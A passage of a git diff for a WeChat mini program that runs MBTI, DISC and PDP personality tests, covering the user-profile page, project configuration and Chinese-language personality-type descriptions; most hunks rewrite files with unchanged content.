updated.avatar = profile.avatar - if (profile.birthday !== undefined) updated.birthday = profile.birthday - if (profile.gender !== undefined) updated.gender = profile.gender - app.globalData.userInfo = updated - wx.setStorageSync('userInfo', updated) - wx.showToast({ title: '已保存', icon: 'success' }) - } else { - wx.showToast({ title: payload?.message || '保存失败', icon: 'none' }) - } - }, - fail: () => { - wx.hideLoading() - this.setData({ saving: false }) - wx.showToast({ title: '网络错误', icon: 'none' }) - } - }) - } -}) +// pages/user-profile/index.js - 个人资料页 +const app = getApp() +const { request } = require('../../utils/request') +const { bindPhoneByCode } = require('../../utils/phoneAuth') + +Page({ + data: { + userInfo: null, + nickname: '', + avatar: '', + birthday: '', + gender: 0, + genderIndex: 0, + genderText: '', + genderOptions: ['保密', '男', '女'], + phone: '', + avatarLetter: '我', + avatarBgColor: '#6366f1', + nicknameFocused: false, + saving: false + }, + + onLoad() { + this.loadUserInfo() + }, + + onShow() { + // 从其他页返回时刷新 + if (app.globalData.userInfo) { + this.loadUserInfo() + } + }, + + loadUserInfo() { + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') + if (!userInfo) { + wx.showToast({ title: '请先登录', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + return + } + + const nickname = (userInfo.nickname || userInfo.nickName || '').trim() + const avatar = userInfo.avatar || userInfo.avatarUrl || '' + const birthday = userInfo.birthday || '' + const gender = (userInfo.gender !== undefined && userInfo.gender !== null) ? Number(userInfo.gender) : 0 + const genderText = this._genderText(gender) + const genderIndex = Math.min(Math.max(0, gender), 2) + const phone = userInfo.phone || '' + + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + + this.setData({ + userInfo, + nickname, + avatar, + birthday, + gender, + genderIndex, + genderText, + phone, + avatarLetter, + avatarBgColor + }) + }, + + _genderText(g) { + const map = { 0: '保密', 1: '男', 2: '女' } + return map[g] || '保密' + }, + + _avatarFromNickname(name) { + const str = (name && String(name).trim()) || '我' + const letter = str.charAt(0).toUpperCase() || '我' + const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] + let hash = 0 + for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) + const bgColor = palette[Math.abs(hash) % palette.length] + return { avatarLetter: letter, avatarBgColor: bgColor } + }, + + onChooseAvatar(e) { + const { avatarUrl } = e.detail + if (!avatarUrl || !app.globalData.token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + wx.showLoading({ title: '上传中...' }) + const token = app.globalData.token + const apiBase = app.globalData.apiBase + wx.uploadFile({ + url: `${apiBase}/api/upload/image`, + filePath: avatarUrl, + name: 'file', + header: { 'Authorization': `Bearer ${token}` }, + success: (res) => { + const data = res.data + let json = {} + try { json = typeof data === 'string' ? JSON.parse(data) : data } catch (_) {} + if (json.code === 200 && json.data && json.data.url) { + const avatar = json.data.url + this.setData({ avatar }) + this._saveProfile({ avatar }) + } else { + wx.hideLoading() + wx.showToast({ title: json.message || '上传失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '上传失败', icon: 'none' }) + } + }) + }, + + onGetPhoneNumber(e) { + const { errMsg, code } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能获取', icon: 'none' }) + return + } + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + bindPhoneByCode(code).then((user) => { + this.setData({ phone: user.phone || '' }) + }).catch(() => {}) + }, + + onNicknameRowTap() { + this.setData({ nicknameFocused: true }) + }, + + onNicknameBlur() { + this.setData({ nicknameFocused: false }) + }, + + onNicknameChange(e) { + const nickname = (e?.detail?.value || '').trim() + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + this.setData({ nickname, avatarLetter, avatarBgColor }) + }, + + onBirthdayChange(e) { + const birthday = (e?.detail?.value || '').trim() + this.setData({ birthday }) + }, + + onGenderChange(e) { + const idx = parseInt(e?.detail?.value, 10) || 0 + const gender = idx + const genderText = this.data.genderOptions[idx] || '保密' + this.setData({ gender, genderIndex: idx, genderText }) + }, + + onSave() { + const { nickname, birthday, gender, userInfo } = this.data + const profile = {} + const origNickname = (userInfo?.nickname || userInfo?.nickName || '').trim() + const origBirthday = userInfo?.birthday || '' + const origGender = (userInfo?.gender !== undefined && userInfo?.gender !== null) ? Number(userInfo.gender) : 0 + if (nickname !== origNickname) profile.nickname = nickname + if (birthday !== origBirthday) profile.birthday = birthday + if (gender !== origGender) profile.gender = gender + if (Object.keys(profile).length === 0) { + wx.showToast({ title: '暂无修改', icon: 'none' }) + return + } + this._saveProfile(profile) + }, + + _saveProfile(profile) { + if (!app.globalData.token || !profile || Object.keys(profile).length === 0) return + if (this.data.saving) return + this.setData({ saving: true }) + wx.showLoading({ title: '保存中...' }) + request({ + url: '/api/auth/wechat/profile', + method: 'PUT', + data: profile, + success: (res) => { + wx.hideLoading() + this.setData({ saving: false }) + const payload = res && res.data + if (payload && payload.code === 200) { + const updated = { ...(app.globalData.userInfo || {}), ...(payload.data || {}), ...profile } + if (profile.nickname !== undefined) updated.nickname = profile.nickname + if (profile.avatar !== undefined) updated.avatar = profile.avatar + if (profile.birthday !== undefined) updated.birthday = profile.birthday + if (profile.gender !== undefined) updated.gender = profile.gender + app.globalData.userInfo = updated + wx.setStorageSync('userInfo', updated) + wx.showToast({ title: '已保存', icon: 'success' }) + } else { + wx.showToast({ title: payload?.message || '保存失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + this.setData({ saving: false }) + wx.showToast({ title: '网络错误', icon: 'none' }) + } + }) + } +}) diff --git a/miniprogram/pages/user-profile/index.json b/miniprogram/pages/user-profile/index.json index 7318c6a..3e10246 100644 --- a/miniprogram/pages/user-profile/index.json +++ b/miniprogram/pages/user-profile/index.json @@ -1,4 +1,4 @@ -{ - "navigationBarTitleText": "个人资料", - "usingComponents": {} -} +{ + "navigationBarTitleText": "个人资料", + "usingComponents": {} +} diff --git a/miniprogram/pages/user-profile/index.wxml b/miniprogram/pages/user-profile/index.wxml index 0d7c2b0..eb34425 100644 --- a/miniprogram/pages/user-profile/index.wxml +++ b/miniprogram/pages/user-profile/index.wxml @@ -1,66 +1,66 @@ - - - - - - - 点击更换头像 - - - - 头像、昵称、手机号为必填项 - - - - - - 昵称 - - - - - - - 生日 - - {{birthday || '请选择生日'}} - - - - - - - - 性别 - - {{genderText}} - - - - - - - 手机号 - - - - - - - - + + + + + + + 点击更换头像 + + + + 头像、昵称、手机号为必填项 + + + + + + 昵称 + + + + + + + 生日 + + {{birthday || '请选择生日'}} + + + + + + + + 性别 + + {{genderText}} + + + + + + + 手机号 + + + + + + + + diff --git a/miniprogram/pages/user-profile/index.wxss b/miniprogram/pages/user-profile/index.wxss index a2604f5..edb6063 100644 --- a/miniprogram/pages/user-profile/index.wxss +++ b/miniprogram/pages/user-profile/index.wxss @@ -1,206 +1,206 @@ -/* pages/user-profile/index.wxss */ -page { - background-color: #F9FAFB; -} - -.page { - min-height: 100vh; - padding: 32rpx; -} - -.profile-card { - background: #FFFFFF; - border-radius: 28rpx; - padding: 48rpx 36rpx; - box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); -} - -.avatar-section { - display: flex; - flex-direction: column; - align-items: center; - margin-bottom: 48rpx; -} - -.avatar-btn { - width: 160rpx !important; - height: 160rpx !important; - padding: 0 !important; - margin: 0 !important; - background: transparent !important; - border: none !important; -} - -.avatar-btn::after { - border: none !important; -} - -.avatar-img { - width: 160rpx; - height: 160rpx; - border-radius: 50%; - display: block; - border: 4rpx solid #F3F4F6; -} - -.avatar-letter-wrap { - width: 160rpx; - height: 160rpx; - border-radius: 50%; - display: flex; - align-items: center; - justify-content: center; - border: 4rpx solid #F3F4F6; -} - -.avatar-letter { - font-size: 72rpx; - font-weight: 700; - color: #FFFFFF; -} - -.avatar-hint { - font-size: 24rpx; - color: #9CA3AF; - margin-top: 16rpx; -} - -.required-tip { - font-size: 24rpx; - color: #9CA3AF; - margin-bottom: 24rpx; - padding: 0 4rpx; -} - -.form-section { - border-top: 1rpx solid #F3F4F6; -} - -.form-item { - display: flex; - align-items: center; - padding: 32rpx 0; - border-bottom: 1rpx solid #F3F4F6; -} - -.form-item:last-child { - border-bottom: none; -} - -.form-label { - width: 140rpx; - font-size: 28rpx; - color: #6B7280; - flex-shrink: 0; -} - -.form-input { - flex: 1; - font-size: 30rpx; - color: #111827; - min-width: 0; -} - -.form-picker { - flex: 1; - font-size: 30rpx; - color: #111827; - min-width: 0; -} - -.form-value { - font-size: 30rpx; - color: #111827; -} - -.form-placeholder { - color: #9CA3AF; -} - -.form-readonly { - color: #9CA3AF; -} - -.form-picker { - display: flex; - align-items: center; - justify-content: space-between; - width: 100%; -} - -.form-arrow { - font-size: 36rpx; - color: #D1D5DB; - margin-left: 16rpx; - flex-shrink: 0; -} - -/* 整行可点击 */ -.form-item-tappable { - cursor: pointer; -} - -.form-item-tappable:active { - background: #F9FAFB; -} - -.form-item-readonly { - /* 仅展示,点击有提示 */ -} - -.form-item-readonly:active { - background: #F9FAFB; -} - -/* 手机号授权按钮 */ -.form-item-phone-auth { - padding: 0; -} - -.phone-auth-btn { - flex: 1; - display: flex; - align-items: center; - justify-content: space-between; - padding: 32rpx 0; - margin: 0; - background: transparent; - border: none; - text-align: left; -} - -.phone-auth-btn::after { - border: none; -} - -.phone-auth-text { - font-size: 30rpx; - color: #7C3AED; - font-weight: 500; -} - -.picker-full-row { - display: block; - width: 100%; -} - -/* 保存按钮 */ -.save-btn { - width: 100%; - margin-top: 48rpx; - padding: 28rpx; - font-size: 32rpx; - font-weight: 600; - color: #FFFFFF; - background: linear-gradient(135deg, #7C3AED 0%, #6366F1 100%); - border-radius: 16rpx; - border: none; -} - -.save-btn::after { - border: none; -} - -.save-btn[disabled] { - opacity: 0.6; -} +/* pages/user-profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + padding: 32rpx; +} + +.profile-card { + background: #FFFFFF; + border-radius: 28rpx; + padding: 48rpx 36rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); +} + +.avatar-section { + display: flex; + flex-direction: column; + align-items: center; + margin-bottom: 48rpx; +} + +.avatar-btn { + width: 160rpx !important; + height: 160rpx !important; + padding: 0 !important; + margin: 0 !important; + background: transparent !important; + border: none !important; +} + +.avatar-btn::after { + border: none !important; +} + +.avatar-img { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: block; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter-wrap { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter { + font-size: 72rpx; + font-weight: 700; + color: #FFFFFF; +} + +.avatar-hint { + font-size: 24rpx; + color: #9CA3AF; + margin-top: 16rpx; +} + +.required-tip { + font-size: 24rpx; + color: #9CA3AF; + margin-bottom: 24rpx; + padding: 0 4rpx; +} + +.form-section { + border-top: 1rpx solid #F3F4F6; +} + +.form-item { + display: flex; + align-items: center; + padding: 32rpx 0; + border-bottom: 1rpx solid #F3F4F6; +} + +.form-item:last-child { + border-bottom: none; +} + +.form-label { + width: 140rpx; + font-size: 28rpx; + color: #6B7280; + flex-shrink: 0; +} + +.form-input { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-picker { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-value { + font-size: 30rpx; + color: #111827; +} + +.form-placeholder { + color: #9CA3AF; +} + +.form-readonly { + color: #9CA3AF; +} + +.form-picker { + display: flex; + align-items: center; + justify-content: space-between; + width: 100%; +} + +.form-arrow { + font-size: 36rpx; + color: #D1D5DB; + margin-left: 16rpx; + flex-shrink: 0; +} + +/* 整行可点击 */ +.form-item-tappable { + cursor: pointer; +} + +.form-item-tappable:active { + background: #F9FAFB; +} + +.form-item-readonly { + /* 仅展示,点击有提示 */ +} + +.form-item-readonly:active { + background: #F9FAFB; +} + +/* 手机号授权按钮 */ +.form-item-phone-auth { + padding: 0; +} + +.phone-auth-btn { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + padding: 32rpx 0; + margin: 0; + background: transparent; + border: none; + text-align: left; +} + +.phone-auth-btn::after { + border: none; +} + +.phone-auth-text { + font-size: 30rpx; + color: #7C3AED; + font-weight: 500; +} + +.picker-full-row { + display: block; + width: 100%; +} + +/* 保存按钮 */ +.save-btn { + width: 100%; + margin-top: 48rpx; + padding: 28rpx; + font-size: 32rpx; + font-weight: 600; + color: #FFFFFF; + background: linear-gradient(135deg, #7C3AED 0%, #6366F1 100%); + border-radius: 16rpx; + border: none; +} + +.save-btn::after { + border: none; +} + +.save-btn[disabled] { + opacity: 0.6; +} diff --git a/miniprogram/project.config.json b/miniprogram/project.config.json index ec384e5..0c5cdc2 100644 --- a/miniprogram/project.config.json +++ b/miniprogram/project.config.json @@ -1,51 +1,51 @@ -{ - "miniprogramRoot": "", - "description": "MBTI/DISC/PDP性格测试系统 - 个人版与企业版", - "setting": { - "urlCheck": false, - "es6": true, - "enhance": true, - "postcss": true, - "preloadBackgroundData": false, - "minified": true, - "newFeature": true, - "coverView": true, - "nodeModules": false, - "autoAudits": false, - "showShadowRootInWxmlPanel": true, - "scopeDataCheck": false, - "uglifyFileName": false, - "checkInvalidKey": true, - "checkSiteMap": true, - "uploadWithSourceMap": true, - "compileHotReLoad": false, - "lazyloadPlaceholderEnable": false, - "useMultiFrameRuntime": true, - "babelSetting": { - "ignore": [], - "disablePlugins": [], - "outputPath": "" - }, - "useIsolateContext": true, - "userConfirmedBundleSwitch": false, - "packNpmManually": false, - "packNpmRelationList": [], - "minifyWXSS": true, - "disableUseStrict": false, - "showES6CompileOption": false, - "useCompilerPlugins": false, - "ignoreUploadUnusedFiles": true - }, - "compileType": "miniprogram", - "condition": {}, - "editorSetting": { - "tabIndent": "insertSpaces", - "tabSize": 4 - }, - "libVersion": "3.14.1", - "packOptions": { - "ignore": [], - "include": [] - }, - "appid": "wx3d15ed02e98b04e3" -} +{ + "miniprogramRoot": "", + "description": "MBTI/DISC/PDP性格测试系统 - 个人版与企业版", + "setting": { + "urlCheck": false, + "es6": true, + "enhance": true, + "postcss": true, + "preloadBackgroundData": false, + "minified": true, + "newFeature": true, + "coverView": true, + "nodeModules": false, + "autoAudits": false, + "showShadowRootInWxmlPanel": true, + "scopeDataCheck": false, + "uglifyFileName": false, + "checkInvalidKey": true, + "checkSiteMap": true, + "uploadWithSourceMap": true, + "compileHotReLoad": false, + "lazyloadPlaceholderEnable": false, + "useMultiFrameRuntime": true, + "babelSetting": { + "ignore": [], + "disablePlugins": [], + "outputPath": "" + }, + "useIsolateContext": true, + "userConfirmedBundleSwitch": false, + "packNpmManually": false, + "packNpmRelationList": [], + "minifyWXSS": true, + "disableUseStrict": false, + "showES6CompileOption": false, + "useCompilerPlugins": false, + "ignoreUploadUnusedFiles": true + }, + "compileType": "miniprogram", + "condition": {}, + "editorSetting": { + "tabIndent": "insertSpaces", + "tabSize": 4 + }, + "libVersion": "3.14.1", + "packOptions": { + "ignore": [], + "include": [] + }, + "appid": "wx3d15ed02e98b04e3" +} diff --git a/miniprogram/sitemap.json b/miniprogram/sitemap.json index 55d1d29..0c1a305 100644 --- a/miniprogram/sitemap.json +++ b/miniprogram/sitemap.json @@ -1,7 +1,7 @@ -{ - "desc": "关于本文件的更多信息,请参考文档 https://developers.weixin.qq.com/miniprogram/dev/framework/sitemap.html", - "rules": [{ - "action": "allow", - "page": "*" - }] -} +{ + "desc": "关于本文件的更多信息,请参考文档 https://developers.weixin.qq.com/miniprogram/dev/framework/sitemap.html", + "rules": [{ + "action": "allow", + "page": "*" + }] +} diff --git a/miniprogram/utils/descriptions.js b/miniprogram/utils/descriptions.js index 43f60e6..bc2a9df 100644 --- a/miniprogram/utils/descriptions.js +++ b/miniprogram/utils/descriptions.js @@ -1,44 +1,44 @@ -// utils/descriptions.js - 测试结果描述 - -// MBTI类型描述 -const mbtiDescriptions = { - ISTJ: { type: "ISTJ", name: "检查员", category: "守护者", description: "务实、负责、可靠的传统主义者", strengths: ["可靠负责", "注重细节", "有条理"], weaknesses: ["可能过于固执", "不喜变化"], careers: ["会计师", "审计师", "项目经理"] }, - ISFJ: { type: "ISFJ", name: "保护者", category: "守护者", description: "安静、友好、负责任的守护者", strengths: ["忠诚体贴", "观察力强", "耐心"], weaknesses: ["不善拒绝", "过于谦虚"], careers: ["护士", "教师", "行政"] }, - INFJ: { type: "INFJ", name: "提倡者", category: "理想主义者", description: "寻求意义和联系的理想主义者", strengths: ["洞察力强", "有远见", "坚定"], weaknesses: ["过于理想化", "容易疲惫"], careers: ["心理咨询", "作家", "人力资源"] }, - INTJ: { type: "INTJ", name: "建筑师", category: "理想主义者", description: "独立、有战略眼光的思考者", strengths: ["战略思维", "独立自信", "意志坚定"], weaknesses: ["可能傲慢", "过于苛刻"], careers: ["战略顾问", "科学家", "架构师"] }, - ISTP: { type: "ISTP", name: "鉴赏家", category: "探险家", description: "灵活、务实的问题解决者", strengths: ["适应力强", "动手能力", "冷静"], weaknesses: ["可能冷漠", "不善表达"], careers: ["工程师", "技术员", "飞行员"] }, - ISFP: { type: "ISFP", name: "探险家", category: "探险家", description: "温和、敏感的艺术家", strengths: ["创造力", "同理心", "灵活"], weaknesses: ["过于敏感", "避免冲突"], careers: ["设计师", "艺术家", "摄影师"] }, - INFP: { type: "INFP", name: "调停者", category: "理想主义者", description: "理想主义、忠诚的调解者", strengths: ["创造力", "同理心", "真诚"], weaknesses: ["过于理想化", "情绪化"], careers: ["作家", "心理咨询", "社工"] }, - INTP: { type: "INTP", name: "逻辑学家", category: "理想主义者", description: "创新、逻辑的思考者", strengths: ["逻辑思维", "创新能力", "客观"], weaknesses: ["可能孤僻", "忽视情感"], careers: ["程序员", "研究员", "分析师"] }, - ESTP: { type: "ESTP", name: "企业家", category: "探险家", description: "精力充沛、务实的行动者", strengths: ["果断", "务实", "善于应变"], weaknesses: ["可能冲动", "缺乏耐心"], careers: ["销售", "企业家", "运动员"] }, - ESFP: { type: "ESFP", name: "表演者", category: "探险家", description: "热情、友好的社交达人", strengths: ["热情友好", "乐观", "灵活"], weaknesses: ["可能肤浅", "容易分心"], careers: ["演员", "销售", "主持人"] }, - ENFP: { type: "ENFP", name: "竞选者", category: "理想主义者", description: "热情、有创造力的社交者", strengths: ["创造力", "热情", "善于沟通"], weaknesses: ["可能不切实际", "缺乏专注"], careers: ["市场营销", "记者", "顾问"] }, - ENTP: { type: "ENTP", name: "辩论家", category: "理想主义者", description: "聪明、好奇的思想家", strengths: ["创新能力", "辩论能力", "适应力"], weaknesses: ["可能争辩", "不善执行"], careers: ["律师", "企业家", "咨询"] }, - ESTJ: { type: "ESTJ", name: "总经理", category: "守护者", description: "务实、果断的组织者", strengths: ["领导力", "组织能力", "务实"], weaknesses: ["可能专制", "不够灵活"], careers: ["管理者", "项目经理", "律师"] }, - ESFJ: { type: "ESFJ", name: "执政官", category: "守护者", description: "热心、合作的支持者", strengths: ["关心他人", "负责任", "善于合作"], weaknesses: ["过于在意评价", "不善拒绝"], careers: ["教师", "护士", "人力资源"] }, - ENFJ: { type: "ENFJ", name: "主人公", category: "理想主义者", description: "有魅力、鼓舞人心的领导者", strengths: ["领导力", "同理心", "说服力"], weaknesses: ["过于理想化", "过度付出"], careers: ["培训师", "顾问", "教师"] }, - ENTJ: { type: "ENTJ", name: "指挥官", category: "理想主义者", description: "大胆、有远见的领导者", strengths: ["领导力", "战略思维", "果断"], weaknesses: ["可能专制", "不耐烦"], careers: ["CEO", "企业家", "律师"] } -} - -// DISC类型描述 -const discDescriptions = { - D: { type: "D型", title: "支配型", color: "#EF4444", description: "天生的领导者,注重结果和效率", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"] }, - I: { type: "I型", title: "影响型", color: "#F59E0B", description: "热情友好,善于社交和表达", strengths: ["善于沟通", "乐观积极", "创意丰富"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"] }, - S: { type: "S型", title: "稳健型", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "耐心倾听"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "行政"] }, - C: { type: "C型", title: "谨慎型", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "准确严谨"], weaknesses: ["可能过于完美主义", "决策较慢"], careers: ["数据分析", "工程师", "会计师"] } -} - -// PDP类型描述 -const pdpDescriptions = { - Tiger: { type: "老虎型", emoji: "🐅", title: "支配者", color: "#F59E0B", description: "天生的领导者,具有强烈的目标导向和执行力", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"], teamRole: "适合担任领导者角色" }, - Peacock: { type: "孔雀型", emoji: "🦚", title: "表现者", color: "#8B5CF6", description: "热情友好,善于表达和社交", strengths: ["善于沟通", "乐观积极", "影响力强"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"], teamRole: "适合担任激励者和调解者角色" }, - Koala: { type: "考拉型", emoji: "🐨", title: "支持者", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "善解人意"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "教师"], teamRole: "适合担任协调者和支持者角色" }, - Owl: { type: "猫头鹰型", emoji: "🦉", title: "分析者", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "系统思维"], weaknesses: ["可能过于完美主义", "不善社交"], careers: ["数据分析师", "工程师", "研究员"], teamRole: "适合担任专家和质量控制者角色" }, - Chameleon: { type: "变色龙型", emoji: "🦎", title: "整合者", color: "#06B6D4", description: "适应能力强,能在不同情境中灵活调整", strengths: ["适应力强", "灵活多变", "平衡能力"], weaknesses: ["可能缺乏主见", "身份认同模糊"], careers: ["咨询顾问", "协调员", "自由职业者"], teamRole: "适合担任协调者和多面手角色" } -} - -module.exports = { - mbtiDescriptions, - discDescriptions, - pdpDescriptions -} +// utils/descriptions.js - 测试结果描述 + +// MBTI类型描述 +const mbtiDescriptions = { + ISTJ: { type: "ISTJ", name: "检查员", category: "守护者", description: "务实、负责、可靠的传统主义者", strengths: ["可靠负责", "注重细节", "有条理"], weaknesses: ["可能过于固执", "不喜变化"], careers: ["会计师", "审计师", "项目经理"] }, + ISFJ: { type: "ISFJ", name: "保护者", category: "守护者", description: "安静、友好、负责任的守护者", strengths: ["忠诚体贴", "观察力强", "耐心"], weaknesses: ["不善拒绝", "过于谦虚"], careers: ["护士", "教师", "行政"] }, + INFJ: { type: "INFJ", name: "提倡者", category: "理想主义者", description: "寻求意义和联系的理想主义者", strengths: ["洞察力强", "有远见", "坚定"], weaknesses: ["过于理想化", "容易疲惫"], careers: ["心理咨询", "作家", "人力资源"] }, + INTJ: { type: "INTJ", name: "建筑师", category: "理想主义者", description: "独立、有战略眼光的思考者", strengths: ["战略思维", "独立自信", "意志坚定"], weaknesses: ["可能傲慢", "过于苛刻"], careers: ["战略顾问", "科学家", "架构师"] }, + ISTP: { type: "ISTP", name: "鉴赏家", category: "探险家", description: "灵活、务实的问题解决者", strengths: ["适应力强", "动手能力", "冷静"], weaknesses: ["可能冷漠", "不善表达"], careers: ["工程师", "技术员", "飞行员"] }, + ISFP: { type: "ISFP", name: "探险家", category: "探险家", description: "温和、敏感的艺术家", strengths: ["创造力", "同理心", "灵活"], weaknesses: ["过于敏感", "避免冲突"], careers: ["设计师", "艺术家", "摄影师"] }, + INFP: { type: "INFP", name: "调停者", category: "理想主义者", description: "理想主义、忠诚的调解者", strengths: ["创造力", "同理心", "真诚"], weaknesses: ["过于理想化", "情绪化"], careers: ["作家", "心理咨询", "社工"] }, + INTP: { type: "INTP", name: "逻辑学家", category: "理想主义者", description: "创新、逻辑的思考者", strengths: ["逻辑思维", "创新能力", "客观"], weaknesses: ["可能孤僻", "忽视情感"], careers: ["程序员", "研究员", "分析师"] }, + ESTP: { type: "ESTP", name: "企业家", category: "探险家", description: "精力充沛、务实的行动者", strengths: ["果断", "务实", "善于应变"], weaknesses: ["可能冲动", "缺乏耐心"], careers: ["销售", "企业家", "运动员"] }, + ESFP: { type: "ESFP", name: "表演者", category: "探险家", description: "热情、友好的社交达人", strengths: ["热情友好", "乐观", "灵活"], weaknesses: ["可能肤浅", "容易分心"], careers: ["演员", "销售", "主持人"] }, + ENFP: { type: "ENFP", name: "竞选者", category: "理想主义者", description: "热情、有创造力的社交者", strengths: ["创造力", "热情", "善于沟通"], weaknesses: ["可能不切实际", "缺乏专注"], careers: ["市场营销", "记者", "顾问"] }, + ENTP: { type: "ENTP", name: "辩论家", category: "理想主义者", description: "聪明、好奇的思想家", strengths: ["创新能力", "辩论能力", "适应力"], weaknesses: ["可能争辩", "不善执行"], careers: ["律师", "企业家", "咨询"] }, + ESTJ: { type: "ESTJ", name: "总经理", category: "守护者", description: "务实、果断的组织者", strengths: ["领导力", "组织能力", "务实"], weaknesses: ["可能专制", "不够灵活"], careers: ["管理者", "项目经理", "律师"] }, + ESFJ: { type: "ESFJ", name: "执政官", category: "守护者", description: "热心、合作的支持者", strengths: ["关心他人", "负责任", "善于合作"], weaknesses: ["过于在意评价", "不善拒绝"], careers: ["教师", "护士", "人力资源"] }, + ENFJ: { type: "ENFJ", name: "主人公", category: "理想主义者", description: "有魅力、鼓舞人心的领导者", strengths: ["领导力", "同理心", "说服力"], weaknesses: ["过于理想化", "过度付出"], careers: ["培训师", "顾问", "教师"] }, + ENTJ: { type: "ENTJ", name: "指挥官", category: "理想主义者", description: "大胆、有远见的领导者", strengths: ["领导力", "战略思维", "果断"], weaknesses: ["可能专制", "不耐烦"], careers: ["CEO", "企业家", "律师"] } +} + +// DISC类型描述 +const discDescriptions = { + D: { type: "D型", title: "支配型", color: "#EF4444", description: "天生的领导者,注重结果和效率", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"] }, + I: { type: "I型", title: "影响型", color: "#F59E0B", description: "热情友好,善于社交和表达", strengths: ["善于沟通", "乐观积极", "创意丰富"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"] }, + S: { type: "S型", title: "稳健型", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "耐心倾听"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "行政"] }, + C: { type: "C型", title: "谨慎型", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "准确严谨"], weaknesses: ["可能过于完美主义", "决策较慢"], careers: ["数据分析", "工程师", "会计师"] } +} + +// PDP类型描述 +const pdpDescriptions = { + Tiger: { type: "老虎型", emoji: "🐅", title: "支配者", color: "#F59E0B", description: "天生的领导者,具有强烈的目标导向和执行力", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"], teamRole: "适合担任领导者角色" }, + Peacock: { type: "孔雀型", emoji: "🦚", title: "表现者", color: "#8B5CF6", description: "热情友好,善于表达和社交", strengths: ["善于沟通", "乐观积极", "影响力强"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"], teamRole: "适合担任激励者和调解者角色" }, + Koala: { type: "考拉型", emoji: "🐨", title: "支持者", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "善解人意"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "教师"], teamRole: "适合担任协调者和支持者角色" }, + Owl: { type: "猫头鹰型", emoji: "🦉", title: "分析者", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "系统思维"], weaknesses: ["可能过于完美主义", "不善社交"], careers: ["数据分析师", "工程师", "研究员"], teamRole: "适合担任专家和质量控制者角色" }, + Chameleon: { type: "变色龙型", emoji: "🦎", title: "整合者", color: "#06B6D4", description: "适应能力强,能在不同情境中灵活调整", strengths: ["适应力强", "灵活多变", "平衡能力"], weaknesses: ["可能缺乏主见", "身份认同模糊"], careers: ["咨询顾问", "协调员", "自由职业者"], teamRole: "适合担任协调者和多面手角色" } +} + +module.exports = { + mbtiDescriptions, + discDescriptions, + pdpDescriptions +} diff --git a/miniprogram/utils/phoneAuth.js b/miniprogram/utils/phoneAuth.js index 9108fd9..66aaa31 100644 --- a/miniprogram/utils/phoneAuth.js +++ b/miniprogram/utils/phoneAuth.js @@ -1,113 +1,113 @@ -/** - * 手机号授权工具:基于微信 getPhoneNumber + 服务器端换取手机号接口 - * 个人资料完整性检查:头像、昵称、手机号为必填,生日和性别选填 - */ - -/** - * 个人资料是否已完善(头像、昵称、手机号必填,生日和性别选填) - * @returns {boolean} - */ -function isProfileComplete() { - const app = getApp() - const user = app.globalData.userInfo || wx.getStorageSync('userInfo') - if (!user) return false - const avatar = (user.avatar || user.avatarUrl || '').trim() - const nickname = (user.nickname || user.nickName || '').trim() - const phone = (user.phone || user.phoneNumber || '').trim() - return avatar.length > 0 && nickname.length > 0 && phone.length > 0 -} - -/** - * 若资料未完善则跳转到个人资料页,需登录 - * @returns {boolean} true=已完善可继续,false=已跳转 - */ -function 